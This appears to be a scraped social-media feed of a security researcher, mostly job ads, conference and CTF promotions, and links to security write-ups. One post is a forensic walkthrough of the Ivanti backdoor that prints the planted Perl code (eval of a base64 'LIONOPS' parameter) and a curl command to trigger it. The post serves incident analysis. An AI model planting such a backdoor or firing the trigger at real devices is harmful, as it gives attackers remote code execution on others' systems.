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Retired security engineer but still hacking when free+beer

Seoul, Korea
Joined December 2008
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Will be at #POC2026 next week! Hit me up at the @catalystsec booth and come chat about AI, bug hunting, and anything in between. Also we are hiring :)
Thank you for sponsoring #POC2026 as a GOLD! Catalyst Security (@catalystsec) is a growing team of highly experienced vulnerability researchers, focused on solving the most challenging technical problems. Come and meet us!
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It's BlackHat/DEF CON week so I'd like to interrupt your regularly scheduled chest drumming feed! Let's talk about a critical WiFi 7 memory corruption bug. The flaw was in Hostapd, the userland daemon which powers the world's WiFi on the majority of access points. I reported this in June and it's now patched upstream. My proof of concept shows that authenticated clients can bypass ASLR to leak pointers OTA and inject code execution. 802.1X Enterprise WiFi 7 is basically exploitable pre-auth because of the "outer tunnel". This bug was missed by LLM scans as well as human auditors, but found in the wifi gauntlet. If you're at BH/DC this week and interested in the memory safe wifi stack we're building please reach out
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SPR was designed specifically to eliminate these attacks. Almost all other WiFi deployments carry inherent disconnects between L2/L3 that enable MITM attacks and packet injection, whether EAP-TLS or WPA3.
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Reminder we are looking for talented security researchers in all areas (iOS, Android, Browser, 0click, AI) 🚀🚀 DM me or shoot us an email at catalystsecurity.com 🦊
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🔺iPhone models announced today include Memory Integrity Enforcement, the culmination of an unprecedented design and engineering effort that we believe represents the most significant upgrade to memory safety in the history of consumer operating systems. security.apple.com/blog/memo…
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As a New Year resolution, consider applying to Project Zero :)
It doesn't happen very often, but Project Zero is hiring! goo.gle/41DBQBY Please share with anyone you think would be awesome for the role 🎉 Looking for at least one person. DMs open if you want to reach out about the role. The team: youtu.be/My_13FXODdU
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Getting into Ivanti CVE-2024-21893 In-the-Wild hackers' backdoor: 0. SSRF on saml-server will exploit CVE-2024-21887 vulnerability by bypassing mitigation and will likely crash saml-server 1. In the admin panel, get process snapshot (Troubleshooting > System snapshot) 2. Decrypt snapshot with pulse-meter.py (github.com/rxwx/pulse-meter) 3. $ tar xvf snapshot.decrypted -> It'll dump coredump (CORE.saml-server.PID) 4. $ strings CORE.saml-server.PID | grep setcookie -> you'll see attacker's saml xml payload 5. decode (URL, base64) payload and you'll get backdoored version of setcookie.thtml.ttc following is the backdoored part: $output .= "<!--\n"; my $keyname = 'LIONOPS'; my $key = CGI::param($keyname); use MIME::Base64; if(defined($key)){ my $arg=decode_base64("$key"); eval(decode_base64("$key")); } $output .= "-->\n"; "LIONOPS" is the keyword parameter to backdoor, so if you do something like: $ curl https://your_vpn_server/dana-na/auth/setcookie.cgi?LIONOPS=<base64('print "a"*100')> then backdoored device is likely to respond with 'a' * 100 #LINESecurity #ivanti #LIONOPS
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New blogpost! I put together a thorough survey of security mitigations && architectures from the past few years. HW solutions, SW mitigations, and safe languages. CHERI, MTE, Rust, Swift, kalloc_type, Firebloom, GuardedMemcpy, CastGuard, and more! saaramar.github.io/memory_sa…
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Recently I’ve been working on @RelicProtocol. We use MPT proofs and zk-SNARKS to access historical Ethereum state. Find our website and community here: linktr.ee/RelicProtocol
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beist retweeted
“Who is the best CTF player in Asia? Do you want to play in the Asian best player team at the CTF World Championships? 
Join and win the ACSC and go to the World Tournament!” Asian Cyber Security Challenge : Sep.18 - 19 : Reg starts soon! @acsc_asia acsc.asia/
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I know there are lots of people waiting for the recent Microsoft Exchange pre-auth RCE on our side. This is a short advisory and detailed timeline. proxylogon.com/ #proxylogon
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12月5日(木)に新宿オフィスにて、セキュリティエンジニアの採用説明会を開催します。当日は、セキュリティ開発組織全体の概要紹介に加え、5つのチームからそれぞれのミッションや業務内容、働くやりがいなどをご紹介します。ぜひお気軽にご参加ください。 #LINEのエンジニア line.connpass.com/event/1525…
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Getting ready for a long day! Check-in starts 10:30am #driven2pwn #HITBCyberWeek
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FINAL CALL for #CyberWeek #Driven2Pwn registrations! Got bugs and vulns? Come get your money! Deadline to sign up is TODAY (30th Sept)! d2p.cyberweek.ae/register/ cc @beist @k8em0 @therealsaumil @singe @kernelpool @redragonvn @0xChai
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Can't wait to join @beist @therealsaumil @richinseattle @singe @l33tdawg & the entirety of the @HITBSecConf Seven Kingdoms of Pwn as a senior judge in UAE's historic first ever #BugBounty Buffet! d2p.cyberweek.ae/
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1ヶ月間の就業型のインターンでセキュリティエンジニアのコースを設けました。選考用の試験は診断業務とかやってるメンバーに作成してもらったので、試験を受けるだけでも楽しめるかと。合格したら給与支給もあるし、もっと踏み込んだ話や交流もできる。#LINEインターン linecorp.com/ja/career/newgr…
Great news! SeungJin Lee @beist will be our opening Keynote Speaker at @typhooncon A great opportunity to hear him firsthand ! Get your tickets at typhooncon.com/registration/
LINE presents CODE GRAY CTF at CODE BlUE 2018! This is only online competition which means you can participate this contest anywhere. It will be end at 5pm on 11/2. We hope you'll enjoy the game and say hi to LINE and GRAYHASH crew at the booth! #codeblue codegray.xss.how/
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Corellium now supports hardware accelerated video and audio! Now you can enjoy all the best moments of the keynotes on your virtual iPhone.
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